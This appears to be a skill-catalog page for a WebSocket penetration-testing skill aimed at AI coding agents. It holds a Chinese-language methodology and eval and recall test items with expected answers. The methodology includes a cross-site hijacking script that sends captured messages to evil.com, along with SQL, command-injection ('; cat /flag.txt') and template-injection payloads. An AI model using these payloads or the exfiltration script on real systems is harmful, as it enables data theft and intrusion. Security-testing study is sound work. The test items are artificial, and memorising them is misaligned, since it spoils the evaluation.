
Websocket Attack
- 15 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
websocket-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- websocket-attack
- AI & Agent Building
- AI-coding skill
Websocket Attack by the numbers
- 15 all-time installs (skills.sh)
- Ranked #11,165 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill websocket-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 15 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
WebSocket 安全测试方法论
相关 skill:XSS via WebSocket 消息 →xss-methodology;CSRF(跨站 WebSocket 劫持/CSWSH) →csrf-methodology;SQL 注入(WebSocket 传参) →sql-injection-methodology
WebSocket 提供全双工通信,但安全机制常被忽略——没有同源策略的自动保护、没有 CSRF token 的标准实践。
Phase 1: 发现 WebSocket 端点
1.1 页面分析
在 JS 源码中搜索:
new WebSocket(ws://或wss://socket.io(Socket.IO 库).onmessage,.send(
1.2 网络层识别
- HTTP 101 响应 +
Upgrade: websocket头 - 常见路径:
/ws,/websocket,/socket.io/,/cable(ActionCable)
Phase 2: Cross-Site WebSocket Hijacking (CSWSH)
WebSocket 握手是 HTTP Upgrade 请求,浏览器会自动携带 Cookie。如果服务端不检查 Origin 头→可跨站劫持。
2.1 检测
http_request url="http://target/ws" method="GET" headers={"Upgrade":"websocket","Connection":"Upgrade","Sec-WebSocket-Version":"13","Sec-WebSocket-Key":"dGhlIHNhbXBsZSBub25jZQ==","Origin":"https://evil.com"}如果返回 101 → Origin 未校验 → 可劫持。
2.2 利用
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send('{"action":"getProfile"}');
};
ws.onmessage = function(e) {
// 窃取数据
fetch("http://evil.com/log?d=" + encodeURIComponent(e.data));
};
</script>Phase 3: 消息注入
3.1 常见注入点
WebSocket 消息通常是 JSON,测试注入:
SQL 注入:
{"action":"search","query":"' OR 1=1--"}命令注入:
{"action":"ping","host":"127.0.0.1; cat /flag.txt"}SSTI:
{"action":"render","template":"{{7*7}}"}3.2 认证绕过
某些 WS 实现在握手时认证,但消息级别不检查权限:
- 连接后发送管理员操作消息
- 修改消息中的 user_id/role 字段
- 发送未公开的 action 类型(从 JS 源码中发现)
Phase 4: 信息泄露
WebSocket 常用于实时功能,可能泄露:
- 其他用户的聊天消息
- 系统通知(含内部信息)
- 实时日志/调试信息
- 管理操作的广播
监听所有消息,不急于发送——有时被动监听就能获取敏感数据。
Phase 5: Socket.IO 特殊处理
Socket.IO 使用自己的协议格式:
- 消息格式:
42["event_name",{data}](4=message, 2=event) - 先用 HTTP 轮询再升级 WS:
/socket.io/?EIO=4&transport=polling - 命名空间:可以连接
/admin命名空间试图访问管理功能
5.1 Socket.IO 枚举
- 事件名枚举:搜索 JS 源码查找隐藏事件名
5.2 认证缺口
- 握手时有认证但消息级别不检查权限(认证不一致/权限缺口)
Phase 6: 注意事项
- WebSocket 不受浏览器同源策略保护(只靠服务端 Origin 检查)
- 消息内容通常无自动编码/转义,注入风险高
- 长连接意味着可以持续监听和注入
{
"skill_name": "websocket-attack",
"evals": [
{
"id": 1,
"name": "websocket-socketio-protocol",
"prompt": "你发现目标使用 Socket.IO 进行实时通信。在浏览器开发工具中看到消息格式为 42[\"chat\",{\"msg\":\"hello\"}]。请解释这个消息格式并描述如何利用 Socket.IO 进行攻击。",
"expected_output": "Socket.IO 协议格式解析(4=message, 2=event)和攻击方法",
"expectations": [
"42|4=message|2=event|Socket.IO协议格式",
"命名空间|/admin|连接管理命名空间|权限测试",
"事件名|枚举事件|隐藏事件|JS源码查找",
"HTTP轮询|EIO=4|transport=polling|先轮询后升级",
"注入|事件数据|JSON参数|消息注入"
],
"required_terms": [
"EIO=4",
"4=message",
"2=event"
]
},
{
"id": 2,
"name": "websocket-handshake-auth-gap",
"prompt": "WebSocket 应用在握手(HTTP Upgrade 请求)时验证了 Cookie/Token,连接建立后所有消息传输不再检查权限。你已有低权限用户连接。请描述你如何利用这个认证缺口。",
"expected_output": "利用握手与消息级别认证不一致的安全缺口",
"expectations": [
"握手认证|消息不检查|权限缺口|认证不一致",
"管理员操作|发送admin消息|权限提升",
"修改user_id|role字段|消息级别越权",
"隐藏action|JS源码|未公开的消息类型",
"CSWSH|Origin不检查|跨站劫持|如果Origin未验证"
],
"required_terms": [
"CSWSH",
"role字段"
]
},
{
"id": 3,
"name": "websocket-passive-monitoring",
"prompt": "你连接到了目标的 WebSocket 端点。与 HTTP 不同,WebSocket 是长连接。在急于发送测试消息之前,你应该先做什么?",
"expected_output": "被动监听:WebSocket 可能广播敏感数据给所有连接",
"expectations": [
"被动监听|先不发送|观察接收消息",
"广播|其他用户消息|系统通知|敏感数据",
"实时日志|调试信息|泄露|不急于发送",
"长连接|持续接收|积累数据|时间窗口",
"聊天|通知|内部信息|监听价值"
]
}
]
}
{
"skill_id": "websocket-attack",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"websocket",
"ws",
"wss",
"cswsh"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"hijack",
"upgrade",
"socket"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被GraphQL召回",
"keywords": [
"graphql",
"introspection"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "websocket-attack-scenario",
"scenario": "目标使用 WebSocket 连接 ws://target/chat 进行实时通信。请搜索 WebSocket 攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "websocket|ws://|实时通信"
},
{
"tool": "read_skill",
"id": "websocket-attack"
}
]
}
]
}
Related skills
AI & Agent Buildingagents